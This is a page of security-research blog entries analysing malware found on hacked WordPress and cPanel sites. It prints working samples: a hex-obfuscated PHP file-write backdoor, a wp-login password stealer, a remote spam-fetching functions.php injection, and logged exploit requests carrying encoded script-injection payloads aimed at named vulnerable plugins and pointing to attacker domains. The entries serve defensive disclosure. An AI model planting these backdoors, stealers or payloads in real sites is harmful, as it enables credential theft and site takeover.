Sucuri Labs

The home of our Security Engineering Group, including our Threat Research, Technical Security and Automation teams.

Yet another variant of the cPanel user shadow...

We have discovered a new variant of PHP malware used to edit a cPanel users’s shadow file, allowing for bad actors to change passwords for all of the email accounts under that cPanel user.

In our past blog post, we analyzed this file’s abilities to modify email accounts. Today, we’ll focus on the new additions made to this variant.

At first glance, the code is not human readable. This is due to some layers of obfuscation, with the most obvious being that the majority of the code is encoded in base64.

The second layer of obfuscation becomes more apparent after decoding the base64 text from the _$X variable:

It looks like the malicious user decided to use a type of simple substitution cipher to further obfuscate the code, making it more difficult to detect.

To decode this simple substitution cipher, we used the following PHP:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=preg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);

This snippet first decodes the base64 string from _$X, then uses the strtr PHP function to substitute and replace characters in the decoded text based on the following table:

Cipher 1 2 3 4 5 6 a o u i e
Plaintext a o u i e 1 2 3 4 5 6

A prime example of this functionality would be the PHP variable used to store the values of common email ports:

$p2rts=1rr1y(ai, i87, uei, 660, 99i, 6uo , 99o);
$ports=array(25, 587, 465, 110, 995, 143 , 993);

After fully deobfuscating the malware’s code, it looks very similar to the previous variants—with the exception that this new version contains an uploader. This uploader is triggered whenever a _$GET request is sent with the defined string ?vvebos=olux.

Loading this malware file in a browser displays the following result:

As expected, the malware lists the email account(s) and their new password values, along with some helpful port scanning data for the malicious user. Bad actors can use this information to connect to the email accounts via the Webmail browser interface available on most cPanel hosting accounts. The default webmail ports are 2095 (HTTP) and 2096 (HTTPS) (e.g hxxp://domain.com:2095 or hxxps://domain.com:2096).

Plugins Under Attack: July 2019

A long-lasting malware campaign targeting deprecated, vulnerable versions of plugins continues to be leveraged by attackers to inject malicious scripts into affected websites:

This month they added seven new plugins and continued attacking old ones.

Plugins targeted: July 2019

Plugins that are continuing to be leveraged by attackers for months are:

 

Payloads added to the campaign

 

WordPress Plugin Appointment Booking Calendar

185.225.16.152 - CP_ABC_post_edition=1&cfwpp_edit=js&editionarea=var+nt+%3D+String.fromCharCode%2857%2C+57%2C57%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3Bvar+sb+%3D+String.fromCharCode%28115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+jb+%3D+String.fromCharCode%28104%2C+116%2C+116%2C+112%2C+115%2C+58%2C+47%2C+47%29%3B+var+tb+%3D+String.fromCharCode%28116%2C+101%2C+120%2C+116%2C+47%2C+106%2C+97%2C+118%2C+97%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+lb+%3D+String.fromCharCode%28100%2C+101%2C+115%2C+116%2C+114%2C+111%2C+121%2C+102%2C+111%2C+114%2C+109%2C+101%2C+46%2C+99%2C+111%2C+109%2C+47%2C+115%2C+116%2C+97%2C+121%2C+46%2C+106%2C+115%2C+63%2C+116%2C+61%2C+112%2C+38%2C+97%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Djb%2Blb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B&save=Submit [22/Jul/2019] "POST /wp-admin/admin-post.php HTTP/1.1" 

myStickymenumyStickymenu

 

185.225.16.152 - type=attachment&width=%3C%2Fstyle%3E%3Cscript++async%3Dtrue+type%3Dtext%2Fjavascript+language%3Djavascript%3Evar+nt+%3D+String.fromCharCode%2857%2C+57%2C57%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3Bvar+sb+%3D+String.fromCharCode%28115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+jb+%3D+String.fromCharCode%28104%2C+116%2C+116%2C+112%2C+115%2C+58%2C+47%2C+47%29%3B+var+tb+%3D+String.fromCharCode%28116%2C+101%2C+120%2C+116%2C+47%2C+106%2C+97%2C+118%2C+97%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+lb+%3D+String.fromCharCode%28100%2C+101%2C+115%2C+116%2C+114%2C+111%2C+121%2C+102%2C+111%2C+114%2C+109%2C+101%2C+46%2C+99%2C+111%2C+109%2C+47%2C+115%2C+116%2C+97%2C+121%2C+46%2C+106%2C+115%2C+63%2C+116%2C+61%2C+112%2C+38%2C+97%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Djb%2Blb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B%3C%2Fscript%3E%3Cstyle%3E [11/Jul/2019] "POST /wp-admin/admin-ajax.php?action=wcp_change_post_width HTTP/1.1"

File Manager

 

192.169.157.142 - - [23/Jul/2019] "GET /wp-admin/admin-ajax.php?action=mk_file_folder_manager&_wpnonce=1589e1018d&cmd=open&target=&init=1&tree=1&_=1535229962392 HTTP/1.1"

Appointment Booking Calendar

 

192.169.157.142 - CP_ABC_post_edition=1&cfwpp_edit=js&editionarea=var+nt+%3D+String.fromCharCode%2857%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3Bvar+sb+%3D+String.fromCharCode%28115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+jb+%3D+String.fromCharCode%28104%2C+116%2C+116%2C+112%2C+115%2C+58%2C+47%2C+47%29%3B+var+tb+%3D+String.fromCharCode%28116%2C+101%2C+120%2C+116%2C+47%2C+106%2C+97%2C+118%2C+97%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+lb+%3D+String.fromCharCode%28103%2C+114%2C+101%2C+97%2C+116%2C+102%2C+97%2C+99%2C+101%2C+98%2C+111%2C+111%2C+107%2C+112%2C+97%2C+103%2C+101%2C+46%2C+99%2C+111%2C+109%2C+47%2C+100%2C+108%2C+116%2C+111%2C+46%2C+106%2C+115%2C+63%2C+116%2C+61%2C+112%2C+38%2C+97%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Djb%2Blb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B&save=Submit [26/Jul/2019:] "POST /wp-admin/admin-post.php HTTP/1.1"

FoldersFolders

 

192.169.157.142 - type=attachment&width=%3C%2Fstyle%3E%3Cscript++async%3Dtrue+type%3Dtext%2Fjavascript+language%3Djavascript%3Evar+nt+%3D+String.fromCharCode%2857%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3Bvar+sb+%3D+String.fromCharCode%28115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+jb+%3D+String.fromCharCode%28104%2C+116%2C+116%2C+112%2C+115%2C+58%2C+47%2C+47%29%3B+var+tb+%3D+String.fromCharCode%28116%2C+101%2C+120%2C+116%2C+47%2C+106%2C+97%2C+118%2C+97%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+lb+%3D+String.fromCharCode%28103%2C+114%2C+101%2C+97%2C+116%2C+102%2C+97%2C+99%2C+101%2C+98%2C+111%2C+111%2C+107%2C+112%2C+97%2C+103%2C+101%2C+46%2C+99%2C+111%2C+109%2C+47%2C+100%2C+108%2C+116%2C+111%2C+46%2C+106%2C+115%2C+63%2C+116%2C+61%2C+112%2C+38%2C+97%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Djb%2Blb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B%3C%2Fscript%3E%3Cstyle%3E [26/Jul/2019] "POST /wp-admin/admin-ajax.php?action=wcp_change_post_width HTTP/1.1"

Simple Staff List

 

192.169.157.142 - _staff_listing_default_css=%3C%2Fstyle%3E%3Cscript++async%3Dtrue+type%3Dtext%2Fjavascript+language%3Djavascript%3Evar+nt+%3D+String.fromCharCode%2857%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3Bvar+sb+%3D+String.fromCharCode%28115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+jb+%3D+String.fromCharCode%28104%2C+116%2C+116%2C+112%2C+115%2C+58%2C+47%2C+47%29%3B+var+tb+%3D+String.fromCharCode%28116%2C+101%2C+120%2C+116%2C+47%2C+106%2C+97%2C+118%2C+97%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%29%3Bvar+lb+%3D+String.fromCharCode%28103%2C+114%2C+101%2C+97%2C+116%2C+102%2C+97%2C+99%2C+101%2C+98%2C+111%2C+111%2C+107%2C+112%2C+97%2C+103%2C+101%2C+46%2C+99%2C+111%2C+109%2C+47%2C+100%2C+108%2C+116%2C+111%2C+46%2C+106%2C+115%2C+63%2C+116%2C+61%2C+112%2C+38%2C+97%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Djb%2Blb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B%3C%2Fscript%3E%3Cstyle%3E [26/Jul/2019] "POST /wp-admin/admin-post.php?action=save&updated=true HTTP/1.1"

Mobile App

 

192.169.157.142 - canvas_editor_css=%3C%2Fstyle%3E%3Cscript++async%3Dtrue+type%3Dtext%2Fjavascript+language%3Djavascript%3Evar+nt+%3D+String.fromCharCode%2857%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3Bvar+sb+%3D+String...skipped...99%2C+101%2C+98%2C+111%2C+111%2C+107%2C+112%2C+97%2C+103%2C+101%2C+46%2C+99%2C+111%2C+109%2C+47%2C+100%2C+108%2C+116%2C+111%2C+46%2C+106%2C+115%2C+63%2C+116%2C+61%2C+112%2C+38%2C+97%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Djb%2Blb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B%3C%2Fscript%3E%3Cstyle%3E&ssn_submit=1 [26/Jul/2019] "POST /wp-admin/admin-post.php HTTP/1.1"

 
 
 

Malicious Domains and IPs:

 

IPs:

192.169.157.142
185.225.16.152
178.128.57.173
185.238.0.146
185.238.0.135
45.12.32.55 
185.238.0.133
185.238.0.132
45.12.32.56
185.238.0.146
45.67.229.126
192.232.194.4

 
 

Domains Injected:

 

  • greatfacebookpage[.]com
  • greatinstagrampage[.]com
  • destroyforme[.]com

As always, we strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

Simple but effective backdoor

We recently found a malicious PHP file containing a small amount of code that is effective at hiding from detection by various server side scanning tools.

$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
@$b($_REQUEST['c'], @$a($_REQUEST['d']));

The two $a and $b variables contain the obfuscated PHP strings _file_getcontents and _file_putcontents as escaped hexadecimal values.

These two functions are combined with the _$REQUEST variable array, which allows the malicious user to submit data through their HTTP request to the file.

Deobfuscating the sample reveals the following code:

file_put_contents($_REQUEST['c']), file_get_contents($_REQUEST['d']));

These functions allow the attacker to exclude hard coded file names and content and change them at their leisure, making it more difficult to detect. The bad actor provides the desired content using the _file_putcontent($filename, $data) function during their HTTP request to the malicious file.

As you can see in the image, the HTTP parameters c and d provide the file name (shell.php) and define the download location (local or remote) for thee file name’s content.

In this example, I used shell.php for the c parameter and defined localhost/test.txt for the d parameter, which serves as the download location for _file_getcontents.The function _file_putcontents then inserts (and creates) file shell.php in the current directory.

Simple WP login stealer

We recently found the following malicious code injected into wp-login.php on multiple compromised websites. \

} // End of login_header()
$username_password=$_POST['log']."----xxxxx----".$_POST['pwd']."ip:".$_SERVER['REMOTE_ADDR'].$time = time()."\r\n";
$hellowp=fopen('./wp-content/uploads/2018/07/[redacted].jpg','a+');
$write=fwrite($hellowp,$username_password,$time);
/**

Code injection in wp-login.php

This snippet for a malicious login stealer demonstrates why file integrity monitoring can be very useful to detect small changes in legitimate website files — especially when malicious code is intended to be undetectable, like in the case of this login stealer.

The login stealer operates in the following manner: when a WordPress user submits their login information to the wp-login.php file, it stores the username in the request under the log parameter and the password under the pwd parameter.

Malicious code captures these credentials from the visitor’s HTTP POST request along with the IP address and current time, then formats the text a bit. Afterwards, it uses fopen to open (or create if it doesn’t exist and configuration allows) a .jpg file and store the captured information from the incoming POST request using the _fwrite _function.

This is a very simple, rudimentary login stealer: it ends up capturing every attempted login, regardless of whether it is successful or not.

When checking websites that have been infected with this injection, we can observe it writing unsuccessful bruteforce attempts to the fake .jpg file:

oardobrogea----xxxxx----www123ip:185.234.218.1041554390893
oardobrogea----xxxxx----web123ip:185.234.218.1041554390893
oardobrogea----xxxxx----123!@#ip:185.234.218.1041554390894
oardobrogea----xxxxx----!@#123ip:185.234.218.1041554390895
...

“Loader for Secured Files” and arrayed b374k shell...

This file (33x77.php) was detected in the document root of a website during a website cleanup for a client. It demonstrates how hackers sometimes use comments or other text within malicious code to confuse website owners and prevent detection and removal of malicious files.

In this case, the “Loader for Secured Files. Copyright 2001-2017. All rights reserved.” text is used in an attempt to add some authenticity to the file. Credibility indicators like copyright or trademark symbols can trick administrators into thinking the file is not malicious, preventing further investigation.

This file’s coding structure also looks unusual — the code uses the function preg_match to perform a regular expression search and assign a group (e.g [1]) to its matching text. The search is then performed on the content provided by the php_strip_whitespace(FILE), which removes comments and whitespaces before it assigns the $f variable — whatever preg_match matches with its regular expression search. The $f variable now contains a string of base64 encoded text, and is decoded into an array using json_decode and base64_decode.

The array of the decoded base64 text string ($f) is logically ordered based on the array values to allow for further code eval:

The additional layers of encoding contain a popular PHP shell named b374k. This shell performs numerous functions to the hosting environment and its website.

Spam Doorway Manager

While investigating a client’s compromised website, we saw a malicious file that was being used to manage an existing SEO spam doorway.

We usually refer to these types of files as doorway generators due to their uncanny ability to create new SEO spam pages/doors.

These files can be large, as they incorporate a lot of various features (e.g functions to check SERPs and update the spam accordingly). They are also often obfuscated using various encoding like base64, or use hexadecimal instead of ASCII characters, but this file was different:

./wp-admin/new_readme.php

It utilizes a less suspicious way to obscure the malicious code through an array, then uses a PHP function alias to make the suspicious code harder to detect.

This created function is responsible for fetching the new SEO spam content:

The send function enables the spammer to use send in the code whenever they wish to fetch new SEO spam

A few additionally created functions are then used for inserting the new spam into index.php or .htaccess files and modifying the file permissions:

These created functions are similar to the previous send example, except for different actions like inserting code using fpc instead of file_put_contents

Before these new functions are used, the new SEO spam’s location needs to be determined — this is accomplished using variables $a, $b, $c, and $d.

There is no hard coded URL or domain name. Instead, this is supplied in the HTTP request sent to the file by the spammer:

Note the usage of an array to define the $d variable and the $_REQUEST used to define $a

These variables and created functions are all combined to perform specific tasks based on HTTP parameters being met on the request, and sent by the spammer to the file:

This set of code in the file runs when used with an HTTP request containing an if parameter. It then fetches new data from the previously defined $a variable, using the methods in the previously created function send(e.g curl, file_get_contents).

The “缺失” text looks to be Chinese characters similar to a 404 “File not found” error page. As long as the fetched data doesn’t include that, it is inserted into the defined file (index.php) and printed to the output.

After sending this crafted HTTP request, an index.php file containing the content from our $a variable is created in the same ./spam/ directory

The created functions like send, rwx, fpc, and fgc can help evade detection by some scanning tools that only usestatic signature rules, as they may only be looking for the PHP functions file_put_contents, file_get_contents, chmod, etc.

The attacker also avoids using common obfuscation methods like eval(base64), which are easily detectable and suspicious. However, a file integrity monitor would detect the addition of SEO spam doorways — including this malicious file, as well.

Shoesinfy Spam Injections

Lately, we've seen quite a few sites with injected spammy links that follow this format:

<div style="position: absolute; opacity: 0.001; z-index: 10; filter: alpha(opacity=0);">
<a href="https://www.shoesfindoutlet[.]co/">www.shoesfindoutlet[.]co</a>
<a href="https://www.stepperbest[.]com/">stepper motor</a>
</div>

The spammy domains may change from time to time but the entire format — and trick to make the content invisible — remains the same.

When we clean infected WordPress sites related to this campaign, we find malicious code similar to the following snippet injected into the active theme's function.php file.

<?php
function add_my_custom_script(){
$url_current = "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
?>
 <?php
    $url5 = "https://<compromised-site>/";
    if($url_current == $url5){ 
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site1>.txt');
    echo $file;
    ?>

<?php 
}
else
{
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site>.txt');
    echo $file;
}
?>

<?php
}
add_action('wp_footer', 'add_my_custom_script');

The block with spammy links is fetched from the remote shoesinfy[.]com site, allowing attackers to modify the injected code without accessing the site.

Moreover, each compromised site has its own text file with links on shoesinfy[.]com (found as shoesinfy[.]com/domain.tld1.txt). This text file allows bad actors to customize their spam injections across different compromised sites.